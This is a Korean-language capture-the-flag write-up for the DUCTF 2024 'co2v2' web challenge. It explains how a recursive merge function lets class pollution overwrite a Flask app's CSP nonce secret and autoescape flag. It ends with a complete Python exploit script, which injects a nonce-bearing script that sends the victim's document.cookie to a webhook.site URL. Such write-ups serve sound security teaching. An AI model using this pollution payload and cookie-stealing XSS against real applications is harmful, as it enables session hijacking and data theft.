문제 분석

해당 문제는 기존 co2 Python Class Pollution의 다음 버전 문제로 예상된다.

기존 co2와의 차이를 소스코드를 통해서 확인해보겠습니다.

SECRET_NONCE = generate_random_string()
# Use a random amount of characters to append while generating nonce value to make it more secure
RANDOM_COUNT = random.randint(32,64)

def generate_nonce(data):
    nonce = SECRET_NONCE + data + generate_random_string(length=RANDOM_COUNT)
    sha256_hash = hashlib.sha256()
    sha256_hash.update(nonce.encode('utf-8'))
    hash_hex = sha256_hash.hexdigest()
    g.nonce = hash_hex
    return hash_hex

@app.before_request
def set_nonce():
    generate_nonce(request.path)

@app.after_request
def apply_csp(response):
    nonce = g.get('nonce')
    csp_policy = (
        f"default-src 'self'; "
        f"script-src 'self' 'nonce-{nonce}' https://ajax.googleapis.com; "
        f"style-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; "
        f"script-src-attr 'self' 'nonce-{nonce}'; " 
        f"connect-src *; "
    )
    response.headers['Content-Security-Policy'] = csp_policy
    return response

기존 FLAG를 추출해주는 End-point가 제거되며 script-src의 값을 nonce로 받는 것으로 보아 기존 문제에 XSS 기법을 활용한 문제일 것으로 예상할 수 있습니다.

해당 nonce 값은 입력 데이터와 랜덤 String, Count 변수 값을 더해져 랜덤한 값으로 받아지는 것을 볼 수 있습니다.

TEMPLATES_ESCAPE_ALL = True
TEMPLATES_ESCAPE_NONE = False

@app.route("/admin/update-accepted-templates", methods=["POST"])
@login_required
def update_template():
    data = json.loads(request.data)
    # Enforce strict policy to filter all expressions
    if "policy" in data and data["policy"] == "strict":
        template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)
    # elif "policy" in data and data["policy"] == "lax":
    #     template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_NONE)
    # TO DO: Add more configurations for allowing LateX, XML etc. to be configured in app
    return jsonify({"success": "true"}), 200

또한 해당 URL로 JSON 형태의 데이터를 전송할 때 해당 데이터의 값이 {"policy" : "strict"} 일 경우 TEMPLATES_ESCAPE_ALL로 외부 도메인으로의 요청을 수행하지 않습니다.

@app.route("/save_feedback", methods=["POST"])
@login_required
def save_feedback():
    data = json.loads(request.data)
    feedback = Feedback()
    # Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
    merge(data, feedback)
    save_feedback_to_disk(feedback)
    return jsonify({"success": "true"}), 200

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

/save_feedback을 통해 merge 과정이 이루어지는데 이 또한 Python Class Pollution 취약점이 발생하기에 변수에 대한 값이 수정이 가능하다.

따라서 페이로드의 순서는 다음과 같게 된다.

  • TEMPLATES_ESCAPE_ALLFalse로 수정

  • SECRET_NONCEA와 같은 고정 값으로 수정

  • RANDOM_COUNT0으로 고정

  • 페이지 내에서 전송해주는 nonce 값을 통해 XSS

from requests import Session
from bs4 import BeautifulSoup

PAYLOAD = {"__class__":{"__init__":{"__globals__":{"SECRET_NONCE":"peoplstar", "RANDOM_COUNT": 0, "TEMPLATES_ESCAPE_ALL": False}}}}
USERNAME = "guest"
PASSWORD = "guest"
EXFIL = "https://webhook.site/5cbbd078-e5fd-4ca9-9fdc-a48030d6ec5f"

def parse_nonce(html):
    soup = BeautifulSoup(html, 'html.parser')
    nonce = soup.find('script')['nonce']
    print(f'[+] nonce : {nonce}')
    return nonce

def exploit(host):
    s = Session()
    s.post(host + '/register', data={'username': USERNAME, 'password': PASSWORD})
    s.post(host + '/login', data={'username': USERNAME, 'password': PASSWORD})
    s.post(host + '/save_feedback', json=PAYLOAD)
    s.post(host + '/admin/update-accepted-templates', json={"policy":"strict"})

    get_nonce = s.get(host)
    nonce = parse_nonce(get_nonce.text)
    # GitPage Liquid Exception: Liquid syntax error  
    s.post(host + '/create_post', data=f"{{'title':'<script nonce={nonce}>fetch(\"{EXFIL}?c=\"+document.cookie)</script>', 'content': '<script nonce={nonce}>fetch(\"{EXFIL}?c=\"+document.cookie)</script>', 'public': 1}}")
    s.get(host + '/api/v1/report')

if __name__ == '__main__':
    URL = 'https://web-co2v2-69f4cd699e8ccaba.2024.ductf.dev/'
    exploit(URL)